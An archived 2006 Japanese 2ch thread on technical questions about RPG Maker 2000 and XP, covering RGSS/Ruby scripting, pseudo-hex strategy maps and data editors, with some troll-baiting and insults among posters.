- 1 名前:ツクレナーイ mailto:hage [2006/10/09(月) 13:29:40 ID:6nugrYnE]
- PC版RPGツクールの「製作技術的な話題」を扱うスレッドです。
それ以外の雑談などは同人ゲーム板の該当スレッドでお願いします。 【注意】 −基本的にsage進行で。 −質問をする時は、書き込む前に必ず説明書やヘルプに目を通すこと。 また、可能な限り前スレも参照、検索をしたのち、 どうしてもわからなかった場合にのみ質問をして下さい。 ※特にRPGツクール2000は付属のヘルプが非常に充実しています。 −自分本位な質問は慎むこと。 「サイドビュー戦闘の作り方教えて下さい!」といった漠然とした 質問には、回答者も適切な回答を示すことができません。 「〜を〜して、〜してみたがうまくいかない、どうすればいいか」という風に、 過程と現在陥っている問題点を具体的に書き込むようにしましょう。 あなたの質問に答えてくれる人達のことを考えて。 −まあなにはともあれ、マターリホノボーノで楽しくやっていきましょう。 言うまでもないことですが、荒らしや煽り・タナ厨や腐女子は放置です。 −次スレは>>980が建てること。 前スレ -RPGツクール総合スレッド@製作技術(Part9)- pc8.2ch.net/test/read.cgi/gamedev/1153996333/
- 519 名前:名前は開発中のものです。 [2006/11/13(月) 20:54:20 ID:ZGpjHmmK]
- なにか進んでるなと思ったらw
まあたまには雑談もいいんじゃね。 別にツクールや製作から外れた話をしてるわけじゃなし。
- 520 名前:名前は開発中のものです。 mailto:sage [2006/11/13(月) 22:10:13 ID:05mT+qjQ]
- このスレのまとめwikiはどちらでしょうか?
- 521 名前:名前は開発中のものです。 mailto:sage [2006/11/13(月) 23:13:42 ID:a9r/aRAb]
- >>520
お前が作れ
- 522 名前:名前は開発中のものです。 mailto:sage [2006/11/14(火) 02:26:52 ID:0tSOXyTl]
- RPGツクールでRPGツクールを作れるか・・・妙な夢を見た、寝る
- 523 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 18:41:49 ID:zfVLKacD]
- xp使いに聞きたいんだけど、スクリプト弄ったら
大戦略みたいなHEX戦(擬似HEXでも可。)を作れる気がする? 必死でHEXエディタと簡単なマス目移動まで作ったんだけど、 途中で構想が大きくなり戦略画面やRPGみたいな操作をする場面も 作りたくなって、もうツクールに頼りたくなった。 できればマウスが使えるといいんだがそこまで贅沢は言わない。 xpとスクリプトの関係や詳しい仕様が調べられれば一番いいんだけど、 とりあえず使い倒してる方の見解を聞きたい。
- 524 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 19:32:58 ID:PKsjW+bs]
- >>523
6角形描くくらいなら、正方形を半分づつづらして配置した方が早いし、効果は同じじゃないか?
- 525 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 20:08:05 ID:gU8Vo/MN]
- ドラクエ6式の転職のランク付けのスクリプトはどうすれば良いのか。
<戦士、武闘家極めてバトルマスターみたいな> 教えて頂きたい。 XPで
- 526 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 20:22:50 ID:zfVLKacD]
- >>524
お、レスどうも! 仰るとおり、擬似HEXでいいやって感じです。 俺は上記の理由でツクールを触り始めたんですが、中古で安く買った2000と ペイントで四角い枠を書いてキャラ作ってやろうとするとどうも上手くいかない。 まず、見た目半歩ずらしのマップを作っても動かしたカーソルがチップにマッチ させる現実的な方法がわかりません。 俺の努力不足かも知れませんが、戦争場面はなるべくツクール標準の RPG操作系の応用じゃなくて、もっとキチッと無理なく作りたいんですよ。 ツクールのマップありきじゃなくて、オリジナルな描画処理でやりたい。 メニューとかリストとかも。(なんか伝わりずらいかもしれませんが...) RPG部分についてはこれからプログラムするの大変だし、 俺がやりたいことはツクール2000でも十分過ぎるほど実現できそうなので xpのスクリプト機能で擬似HEX戦争(昔の信長の野望みたいな)が作れそうなら 明日からでもGOサインなんですが、皆さんいかがなものでしょう?
- 527 名前:526 mailto:sage [2006/11/15(水) 20:41:49 ID:zfVLKacD]
- 連投スマソ。
いい感じのところを見つけたんで、自分で調べてみます。 既に実験を進めてる方や、経験から大体想像できるという方がいたら ご意見待ってます。 XPは値段が高いので、とりあえず買っちまうという勇気がなくて ごめんなさいorz。では。
- 528 名前:タナ栗粉 [2006/11/15(水) 20:43:39 ID:TaCaWY1f]
- おい早く教えて
- 529 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 21:07:46 ID:TLJG+pB4]
- 2000でプレイ時間をカウントしたいんだけど、
コモンでウェイト0.1秒→変数加算、の方法しかないのかな。 PCのスペックによって時間がずれたりしないかね。
- 530 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 21:32:38 ID:iznhMXNi]
- >>529
当然するけど2000ならしょうがない
- 531 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 21:35:10 ID:iznhMXNi]
- >>518
戦闘速度調整で検索すればいいよ スクリプトエディタで
- 532 名前:526 mailto:sage [2006/11/15(水) 22:50:05 ID:zfVLKacD]
- xp作品やってみましたが、すばらしい。
細かい座標指定で絵をグリグリ操作できる時点で感動。 おそらく相当作りこんでるんじゃないかと思いますが、 RPGもこなすエンジンを自前で開発してSLGを作るより、 XPで頑張ったほうが遥かに現実的な気がしてきました。 これからアマゾンに注文します。 最終形のイメージとしては大戦略WorldWarUをベースに 三国志風の戦略要素と馴染みのある2DRPG要素、できればTTO風の イベントシーンをプラスした俺専用の超絶オナニー作品です。 将棋やチェスゲームを作ってるうちに思い立った俺の夢。 死ぬまでにこれだけは遺したい。
- 533 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 23:13:57 ID:ZmefEF48]
- >>532
無理の出なくてやる気を失わない程度にちびちび頑張ってくれ。 話だけ聞くとかなり大物になりそうだから小さな目標立てて部分部分でこつこつやるのが肝要だろう。 かく言う俺も色々設定加えたwizまがいを作ろうとしてぼちぼちやってるが、普通に1年以上経ってるからな。 部品は大方作ったが組み合わせるのがまた面倒でね、一番のネックはグラフィックな訳だがorz 大物ほど地道にやるのが一番だ、頑張ってくれ。
- 534 名前:名前は開発中のものです。 mailto:sage [2006/11/15(水) 23:20:53 ID:PWhDyJZz]
- >>532
エンジン作るより、って話で調べてみたんならわかると思うが、 ツクールXPのRGSSは、スクリプト言語+ゲーム用ライブラリ=ゲームエンジンだよ。 つまり、機能的には余裕。
- 535 名前:526 mailto:sage [2006/11/16(木) 00:18:57 ID:jwnnpw9g]
- >>533
応援ありがとう。 まずは本当にやりたい事、出来そうなことを吟味整理して、 部分的な実験を繰り返していきます。 言語仕様は別に書籍を購入したほうがいいかな。 うへぇ、大変だろうなぁw ライフワークと思ってコツコツ頑張りますよ。 >>534 恥ずかしながら、ここまでツクールが進化してるとは思いませんでした。 ゲーム開発用IDEの域に足を踏み入れてますよね。 とりあえずのサンプルとしてRPGを入れてありますみたいな。 まあスクリプトである以上なんでもかんでも思い通りにとは いかないかもしれませんが、俺が求めている表現レベルなら 仰るとおり十分可能だと思います。
- 536 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 10:17:27 ID:gT9FRAT8]
- TTOって何だ?
- 537 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 10:28:02 ID:droEnjO4]
- 敵対的買収だよ
- 538 名前:タナ栗粉 [2006/11/16(木) 12:29:14 ID:6qe1z86r]
- >>531ありがと
大好きだよ(*^_^*)
- 539 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 14:15:37 ID:IrzBeemC]
- 2000で脱出的なイベントを作る時デフォ戦だと戦闘になると音楽変わるんだけどマップ移動時の音楽を流しっぱなしにできんもんかな?
- 540 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 14:54:31 ID:droEnjO4]
- >>539
システムBGMの戦闘のBGMをマップ移動時と同じものにすればいいはず。 終わったらまた元に戻す。
- 541 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 18:24:29 ID:MwQTgTAZ]
- 2000.
最初真っ黒なマップで、 歩いたところだけ明るくなっていく(見えるようになっていく)感じにするにはどうすればいいでしょうか。 とりあえず、マップの全てのマスに全部真っ黒のイベントを配置して、 主人公と重なったらその重なったとこのイベントを消していくって方法は思いつくけど、 他に効率いい方法あったらお願いします。
- 542 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 19:50:14 ID:wWDPgEjq]
- それだけ分かってるならやれば良いじゃないかwww
- 543 名前:名前は開発中のものです。 [2006/11/16(木) 20:27:48 ID:6qe1z86r]
- >>531検索してもでてこない つうかスクリプトエディタで検索なんて項目ないし
もちっと詳しくおねがい
- 544 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 22:47:31 ID:1OIhdeXK]
- >>541
真ん中だけ透過した黒いピクチャを動かせば良いんじゃね?と適当に言ってみる。
- 545 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 23:07:24 ID:rXc0lXZC]
- またゴミが紛れ込んでるな。
- 546 名前:名前は開発中のものです。 mailto:sage [2006/11/16(木) 23:21:31 ID:1OIhdeXK]
- >>544
俺かよorz
- 547 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 02:53:33 ID:hCFRM2bY]
- >>543
ヘルプぐらい熟読することをお勧めする。 あるいは、ヘルプで「検索」って語を検索してみるとか。
- 548 名前:タナ栗粉 [2006/11/17(金) 08:34:44 ID:vIuvr7mJ]
- そんな長文書けるんなら教えるくらいわけないよな?早くして
- 549 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 09:30:24 ID:RA8qht5K]
- タナきたぁあ
久々に覗いてみるもんだ
- 550 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 10:19:24 ID:qo2yZHy2]
- タナ自体は特に相手にしなきゃ良いし、それにたいしてマジメに答えてる奴も構わんのだが
>549みたいなのが多くなるとスレが機能しなくなって困るんだよな。
- 551 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 10:21:41 ID:jyeVWJcb]
- お前は何なんだよ。
- 552 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 11:15:00 ID:BdCahM7X]
- うぉぉぉぉぉぉ!!!パソコンが起動しねぇぇぇぇ!!壊れちまったぁぁぁぁぁぁぁぁぁ!!あぁ・・今までの努力がぁぁ・・orz
- 553 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 11:19:26 ID:JKMYQxni]
- >>549-550
はいはい、さっさと消えろ
- 554 名前:タナ栗粉 [2006/11/17(金) 11:25:47 ID:vIuvr7mJ]
- 喧嘩すんなよ
- 555 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 11:28:59 ID:RA8qht5K]
- ワロタw
- 556 名前:タナ栗粉 [2006/11/17(金) 13:27:07 ID:vIuvr7mJ]
- つうか喧嘩してる暇あったらとっとと俺に協力して完成を助けた方が有意義だろ?
なにしろ俺はツクールの歴史を変えるかもしれない男だからな
- 557 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 13:56:55 ID:Qtt1rB88]
- >>556
518の件ならこれじゃないの?ちょっとはサイト内を探したら? ttp://scriptshelf.jpn.org/x/XRXS_BP14.htm ツクールも触ったこと無いしマカーだから間違っててもしらないけど。
- 558 名前:タナ栗粉 [2006/11/17(金) 14:23:15 ID:vIuvr7mJ]
- ああーこれだのったのかあ ありがとう これできみは伝説の一端をになったことになる よろこんでいいよ
- 559 名前:名前は開発中のものです。 [2006/11/17(金) 15:11:39 ID:RA8qht5K]
- >>557
もうちょっと焦らせよ
- 560 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 16:46:28 ID:OL5fHyZA]
- ふと思い出したがRPGツクールみたいにRPG作るゲームって他にあったな。
斜め視点から見るヤツだったような。ネット販売しかしてなかったっけな。 なんて言ったっけなぁあれ。
- 561 名前:名前は開発中のものです。 mailto:sage [2006/11/17(金) 19:10:44 ID:JVA1N51H]
- TCGが作りたいんだが、、、、
- 562 名前:名前は開発中のものです。 [2006/11/17(金) 20:58:37 ID:vIuvr7mJ]
- 誰か歯車の城を愛用してるやついる?
- 563 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 00:59:21 ID:OxofPqnQ]
- >>560
それは忘れたがフリーのQueek IIもおススメ。 ツクールやり始めたに気づいたから、触り程度しか試してないが
- 564 名前:名前は開発中のものです。 [2006/11/18(土) 02:03:09 ID:llFIGetl]
- XPで飛行船実用化マダー?
- 565 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 06:35:49 ID:lVNws9xg]
- >>560
3D RPGエディター Part2 game10.2ch.net/test/read.cgi/gameama/1090488153/
- 566 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 09:27:25 ID:agAUAVLf]
- >>565
そうそれだ!
- 567 名前:タナ栗粉 [2006/11/18(土) 13:32:55 ID:7lfufh7z]
- おい、XPでワールドマップ作ろうとしても端っこカクカクなワールドマップしかつくれないじゃん
ちゃんとワールドマップみたいにするにはどうすればいい?
- 568 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 13:39:03 ID:EVGHg8q4]
- カクカクでない、滑らかなフチのマップグラフィックを自分で描くしかないだろうな
- 569 名前:タナ栗粉 [2006/11/18(土) 14:03:32 ID:7lfufh7z]
- なんかいい素材ない?
- 570 名前:ダイア ◆Q.9/UGZBPY mailto:sage [2006/11/18(土) 14:08:44 ID:on1GePSo]
- このへんがおすすめ^^
美茶乱会 水冠 なにもない空
- 571 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 14:24:34 ID:9p/dgTND]
- 370 名前: ダイア ◆Q.9/UGZBPY [sage] 投稿日: 2006/11/18(土) 14:13:17 ID:???
シェイラルド#銀槍様 omoti#homoti これで満足かね 378 名前: ダイア ◆Q.9/UGZBPY [sage] 投稿日: 2006/11/18(土) 14:17:47 ID:??? 今まで散々荒らした捨てコテのトリを公開する瞬間ほど楽しいものもなかろうw 381 名前: ダイア ◆Q.9/UGZBPY [sage] 投稿日: 2006/11/18(土) 14:20:24 ID:??? 最後にダイアのトリを晒して終わるでござる^^ ダイア#日記帳★ ツクスレを潰せて拙者の復讐も天地終焉剣でござるな^^w
- 572 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 14:31:35 ID:NU6f16bR]
- >>571
まんこ^^
- 573 名前:526 mailto:sage [2006/11/18(土) 15:28:32 ID:bNGGOAs1]
- 昨日XPが届いた。
朝からスクリプト貪って全体のスキームを図に起こしてみたが すばらしい。 特に俺には十分なキーボードや画像の入出力機能と イベントインタプリタが手に入ったのは嬉しい。 もうこれだけで買った甲斐があった。 ただ惜しくらむはオリジナルDBを設計して出力する 機能がないこと。 これをツクールのスクリプトでツクるのは大変だし、 無理やり拵えても、多分操作性が悪すぎる。 HEXマップは既にある自作エディタで、それ以外で必要な DBエディタはExcelかAccessで作るしかないな。 ツクールのDBをSLGに流用するのは辛いからな。
- 574 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 16:46:00 ID:AU1GXAkj]
- SQLiteマンセー
- 575 名前:名前は開発中のものです。 [2006/11/18(土) 16:52:01 ID:9+YY/qfD]
- >>573
イマイチ何がしたいかはっきりとわからないが、SQLite当たりの方がよくないか?
- 576 名前:名前は開発中のものです。 mailto:age [2006/11/18(土) 18:10:36 ID:3SP29q3J]
- あるイベントのグラフィックを下向きのrightと設定して
このイベントをキャラクターの動作指定をつかって 上向きの(どっち向きでもいい行けど)leftにするのは可能ですか? 上向きの真ん中しか無理?
- 577 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 21:18:06 ID:agAUAVLf]
- なんのこっちゃ
- 578 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 21:51:59 ID:juBodgz+]
- 右側のコマとか左側のコマとかのことじゃね
- 579 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 22:57:20 ID:S4X8UvI6]
- >>573
ヘックスに拘ってるけど市街マップとかだとかえって不自然になるんだよね。 ルールがそれように四角マスでも十分出来ると思うしマウス操作でない場合 ヘックスは非常にストレスになるよ。 そのままデフォの素材とマップエディタが使えることも含めて四角マスの方が メリットも大きいから何かヘックスを使う事に意図が無いならそちらも考えてみては? 何はともあれSLGって言うのは物凄く期待してるんで、頑張ってください。
- 580 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 22:58:15 ID:hRIR7PGq]
- >>573
どんなモノを求めているのか、いまいちわからん。 Marshal.dumpしたファイル(RGSSのload_data関数で読めるもの)なんかを 直接生成するデータエディタが欲しいなら、Rubyで作ればいいんじゃね? 直接でなくてもいいなら、Excelから変換するスクリプト書けばいいんじゃね? CSVを読み込んでパースするなんて簡単だし、RubyからExcelを操作もできるし。 その逆はどうだかしらんが。 テキストでデータ書くのでよければ、YAMLなんかも使えるし。 ツクールXPにその機能がついてる必要は、なさげ。 すでにあるものを利用した方が便利だと思われ。 まあ、デフォのデータの項目足りないけどな。
- 581 名前:526 mailto:sage [2006/11/19(日) 02:43:59 ID:i4c0N3Gy]
- >>579
確かにマウスを使わない以上、操作性を考えるとそっちのほうが 圧倒的にやり易いよね。その辺まったく考えてなかったorz。 要するに、マップ作成自体は付属のエディタで見た目 半歩ずらしのマップを作ればいいだけの話で、 さっさと肝心なカーソルやユニットの移動処理に心血を注ぐ 方が建設的ではないかってことですよね? アドバイスありがとうございます。HEXに拘っていたのは大戦略への 憧れというか、それだけですorz。拠点の防衛戦は是が非でも 盛り込みたいと思ってますので、やっぱ四角にします。 チップのサイズは32だと小さすぎるかな? >>580 伝わりずらくてごめん。 えっとですね、要するに自前で設計したデータを生成する GUI環境がほしいってことなんですよ。 机上のデータ設計どおりに、初期値データファイルを生成する スクリプト書いて何回も流せばいいんですが、それだとテスト時 の効率が悪すぎますよね。ツクール組み込みのDB(アクター他)であれば、 データベースウィンドウを開いてちょちょいと値や画像を変えながら ガンガン試験できますが、これを戦略データや兵器データに見立てて 流用するにはちょっと辛いんですよね。
- 582 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 05:26:22 ID:Ua8Nv42C]
- >>581
実際ヘックスを使ったゲームは十字キーで非常にカーソルが動かしにくかった記憶がある。 ヘックスは大変でも段違いの四角ならそんなに大変でも無かろうにそうしないで碁盤目が 多いのはそのあたりが原因だと思うんだよ。 個人的にネクタリスのような弱いユニットでも戦線の張り方で勝てる強力なZOCによる 包囲効果があるゲームが好きだな。
- 583 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 09:28:49 ID:97KpwG19]
- ところで何故526はXPを使えば自作DBの編集をGUIでできると思ったのだろうか
普通に考えてできるわけないと思うのだが
- 584 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 09:37:52 ID:PcdUc3kz]
- >>576
動作指定じゃ出来ないかもしれないけど、ページ分けて2ページ目のグラフィックをその上向きの左のにすればいいんでなかろうか。 スイッチで2ページ目に移行すればグラも変わる。アニメーションタイプは完全固定。 めんどくさいかもしれないけど。
- 585 名前:名前は開発中のものです。 [2006/11/19(日) 10:18:39 ID:2cxGolRB]
- >>583
RGSS=Rubyってことだろ(と>>526が考えたってこと)。 RGSSでDBの使用を考えるくらいなら最初からRubyで作った方がよくないか、とは思う。 ゲームつくるのに積極的にRuby使う利点ってあるのかな?
- 586 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 10:38:24 ID:49PeT0Mb]
- 無い。
ツクール信者が盲信しているだけ。
- 587 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 10:39:13 ID:S9/dw73o]
- Rubyの言語仕様はステキだとおもう
あとは公式リファレンスが日本語とか 動作速度が遅いのが今後の課題だとは思う
- 588 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 12:08:35 ID:Ua8Nv42C]
- 別に盲信なんかしてる奴は居ないよな。遅い事は使ってる奴はわりと皆不満としてこぼすし。
rubyのメリットは薄くてもRGSSはツクールが込みという事を考えるとそれが物凄い利点だよ。
- 589 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 12:44:04 ID:O8/GxI1f]
- >>584
ありがとう やっぱりそうだよね・・・・
- 590 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 14:17:09 ID:n/kdPA70]
- RPGツクール95のデーターってシューティングツクール95でいじれる?
- 591 名前:580 mailto:sage [2006/11/19(日) 17:39:25 ID:4PGs0u+9]
- >>581
だから、Rubyで作ればいいんじゃね? もしかして、テストプレイ中(ゲーム起動中)にアクターなどのデータを エディタで変えて、それがすぐに反映されるとか思ってる? 反映されないよ。 エディタから出力されたファイルを、ゲームエンジン(Game.exe)が読んでるだけだよ。 あと、キミの言うDBをDBMSのことだと思ってる人がいる。
- 592 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 17:44:54 ID:cwIbgIIB]
- 言語のデキと実行環境のデキを混同している方がいらっしゃるようだなw
ツクールVistaではC++かC#でも実装してもらうか?w
- 593 名前:580 mailto:sage [2006/11/19(日) 17:48:16 ID:4PGs0u+9]
- >>585
まったくない。 オレはRuby厨なので、Rubyでゲームが作れるRGSSは素敵だが、それしかない。 Rubyの利点はオブジェクト指向でトライアンドエラーがしやすいことなので、 まあ、ゲームの高レベルな部分を作るのには向いてるかなと思わなくもない。 >>588 遅いって不満が、画像の描画以外であることはあんまりないかと。
- 594 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 17:55:58 ID:6nVAngE1]
- >>591
> >>581 > だから、Rubyで作ればいいんじゃね? >>573 > ツクールのスクリプトでツクるのは大変 どうやら591は「ツクールのスクリプト」=Rubyを理解できていないようだ
- 595 名前:580 mailto:sage [2006/11/19(日) 18:04:41 ID:4PGs0u+9]
- >>594
あー、そうか。 「RGSS=Ruby+ゲーム用ライブラリの実行環境」ってことを理解してないんだな。 RybyにはGUIライブラリもあるよー、581。 RGSSでは操作性最悪のしか作れないかもしれないが、 Rubyでなら作れるよー。結構簡単に。
- 596 名前:名前は開発中のものです。 [2006/11/19(日) 18:17:10 ID:2cxGolRB]
- >>595
しかしな、Rubyしか使えないプログラマなんていないだろ。 RGSSはあんたの言うとおり「RGSS=Ruby+ゲーム用ライブラリの実行環境」だから RGSS使わないなら他の言語使った方がよくないか? >>592 >ツクールVistaではC++かC#でも実装してもらうか?w あ、C#使えるC#GSS付きのRPGツクールVistaならまじで欲しいなw C++はいらね。ツクールの部分が邪魔になりそう。
- 597 名前:594 mailto:sage [2006/11/19(日) 18:23:30 ID:6nVAngE1]
- >>595
お前のことだよボケ
- 598 名前:名前は開発中のものです。 [2006/11/19(日) 18:26:35 ID:2cxGolRB]
- >>597
餅つけ。
- 599 名前:580 mailto:sage [2006/11/19(日) 18:43:02 ID:4PGs0u+9]
- >>596
Marshal.dumpしたファイル(RGSSのload_data関数で読めるもの)なんかを生成する、 データエディタが欲しいなら、この一点でのみRubyお勧め。 これがいらないなら、自分の知ってる言語でいいんじゃね?
- 600 名前:580 mailto:sage [2006/11/19(日) 18:44:38 ID:4PGs0u+9]
- >>597
オレに言ってたのか。 >573>無理やり拵えても、多分操作性が悪すぎる。 RGSSのこと言ってるんだと思われ。
- 601 名前:526 mailto:sage [2006/11/19(日) 19:26:02 ID:i4c0N3Gy]
- なんか俺のせいで妙な雰囲気になっちまってごめんなさい。
俺が言いたかったのは、ツクールにオリジナルDBを視覚的に 作成できる画面がないから別に作らないとなということです。 最初は専用のマップエディタや各種ステータス設定画面をRGSSで、 つまりツクールのゲーム実行中に埋め込んでしまおうかと 考えたんですが(大戦略の兵器図鑑やマップエディタみたいな感じで)、 素直に作ると物理的な操作系がツクールに縛られるので少なくとも 開発者(=俺)にとって「操作性が悪すぎる」ということです。 EXCELやACCESSでさっさと作れそうかなぁと思ってるんですが、 RubyでもGUIアプリを作成する環境(ここではライブラリのことではなく フォームデザイナ等の開発ソフトのことです)があるようなので >>599さんの仰るように、余計な処理をかませる必要のなさそうなことも 含めて検討しております。 色々な見解や情報をレスしてくれてありがとう。 もう大丈夫そうなので作業を進めます。 さあ、もとの雰囲気に戻ってくださいまし。
- 602 名前:名前は開発中のものです。 [2006/11/19(日) 19:45:23 ID:2cxGolRB]
- 殺伐としたのは>>594のせいだから>>594が消えればいいと思うよw
- 603 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 20:41:31 ID:4Jwfvkpq]
- べつに殺伐としても問題無いよ
意味の無いレスで埋まってるわけでもないし
- 604 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 20:47:22 ID:Ua8Nv42C]
- >>601
SLGは非常に興味深いし、プレーヤーとしては実はRPGより好きなんで また何か進展があったら報告とかあると嬉しいな。 こういうことがあると議論がぶつかるのは良くあること 内容まで脱線したグダグダな口喧嘩になってるわけじゃないし まぁこのくらいなら製作意図の違いによる熱い討論レベルだし気にすることは無いんじゃないと思う。 多少うが無に見えるものや、動く物が上がれば説得力が段違いだし、 意見の違っていた人も、それはそれで認めてくれるんじゃない? 楽しみにしてるんで頑張ってください。
- 605 名前:580 mailto:sage [2006/11/19(日) 22:49:34 ID:4PGs0u+9]
- >>601
ゲーム中に動的に変更するなら、自分で書くしかないね、結局。 F9(デフォのデバッガ呼び出し)とかで外部データを読み込むものだけ作れば、 あとは好きにできるわけで、そっちの方がツクールに変な機能ついてるより楽だと思う。 あとRGSSにもWin32APIは入っているので、 がんばれば別ウインドウとかも出せるんじゃないかな。
- 606 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 00:46:32 ID:uA7uvNOH]
- >>605
別ウィンドウ出すのも別にそんな難しくも無いけど わざわざツクールでやるメリットなんかないっしょ サンプル全部捨てて1から作る位ならRuby+SDLで自分でラッパー書いたほうがマシだと思うが まぁ世の中にはVBでAPI使いまくってゲーム作る奴もいる事だし余計なお世話かもしれんけど
- 607 名前:580 mailto:sage [2006/11/20(月) 01:09:09 ID:neNT2vzW]
- >>606
デフォのスクリプト全部捨てるって話ではないので。 つか、別ウインドウ出す必要は、オレは感じてないよ。 あと、個人的にはRuby/SDLよりRGSSのライブラリの方が好き。 必要最低限にまとまってて。自分でラッパー書かなくていいや、ぐらいの話だが。
- 608 名前:タナ栗粉 ◆8Tdr0tD9Mk [2006/11/20(月) 12:56:50 ID:WC/RLNqE]
- スクリプトシェルフの管理人の桜なんたらって人が作った作品っておもしろいの?宝石と冒険者だかなんだか
- 609 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 12:59:23 ID:R4sOTX7V]
- プレイ時間1時間って書いてあるんだし自分でやれよ
- 610 名前:タナ栗粉 [2006/11/20(月) 14:34:04 ID:WC/RLNqE]
- 自分でやんのがめんどくせえから聞いてんだろがダボ
- 611 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 17:23:38 ID:OWvmZ6PL]
- やめてーわたしのために争わないでー
- 612 名前:タナ栗粉 [2006/11/20(月) 20:00:46 ID:WC/RLNqE]
- なんちゃって嘘だよ
ごめん ところでツクール作品でもっとも良作ってなに?
- 613 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 21:05:00 ID:fLe7tSRG]
- >>609
誰に向かっていってるんだ?誤爆は気をつけろよ。
- 614 名前:名前は開発中のものです。 [2006/11/20(月) 21:06:53 ID:xBvzxuxP]
- >>612
飯野賢治の300万本売れるRPGじゃないの?
- 615 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 21:45:01 ID:aJxX5ev0]
- はいはい、空気に向かって話しかけてるのはみっともないぞ。
>>609,614
- 616 名前:タナ栗粉 [2006/11/20(月) 22:23:11 ID:WC/RLNqE]
- >>615俺に嫉妬しすぎ
┓(´._ゝ`)┏ でもあやまっとくよ いくらきみが望んでも生まれ持った才能は分けてあげられない 本当こればっかりは申し訳ない
- 617 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 22:32:33 ID:fLe7tSRG]
- そうかタナが来てるのか、気がつかなかった、
内容は良く判らんがあんまり相手にしなさんな。
- 618 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 22:41:57 ID:mLrzdNQ8]
- 良作といっても人によって好みが違うから決められるものじゃないだろ
- 619 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 22:44:44 ID:yiXEiLNW]
- >>617
何だ?タナって?
- 620 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 23:01:12 ID:aJxX5ev0]
- >>617
わざわざ名前で呼んでる時点で馬鹿に餌やってることに気付け。 どうしても呼びたきゃ、テンプレ通りタナ厨とでも呼んでやれ。
- 621 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 01:58:47 ID:4VD5a3/r]
- >>619
なんていうか今時は子供も言わないような我儘な態度で質問の答えを強要して来る変なコテハンだよ。 相手にしてると切りが無くなる、しなくても来るけどw
- 622 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 02:01:12 ID:4VD5a3/r]
- おっとまたレス番飛んでるw
ようは600以降では608、610、612、616、620あたり。
- 623 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 10:01:35 ID:IQoAHzh2]
- つーか、もう他茄は来るな、氏ね!
コイツのせいでスルーされた質問数知れず、自分さえ良ければ他の奴が どうなろうが知ったこっちゃないって典型的な糞野郎の分際で調子に乗るな! 俺も以前この蛆虫のせいでスルーされたからな、マジ存在自体がウザい! エターナ○の分際で何が「俺の作品はすげーから協力しろ」だ? ふざけんじゃねっての、フナムシ野郎! でかい口叩きたけりゃ自慢の妄想うpってからにしやがれ!
- 624 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 10:10:28 ID:L2iUY0WG]
- それは別の理由があるんじゃねーのー?
- 625 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 11:31:09 ID:4VD5a3/r]
- エターナ○ってなんだ?なんとなく差別用語の匂い。
- 626 名前:タナ栗粉 ◆8Tdr0tD9Mk [2006/11/21(火) 12:22:20 ID:uXlcnbOO]
- >>623おまえかわいいな
チューするぞ
- 627 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 13:18:59 ID:NKAHTtRD]
- 棚って山田って奴と一緒でしょ。家ゲRPGツクスレやゲ製ツクスレで繁殖していた奴とやり口が一緒ですもの。
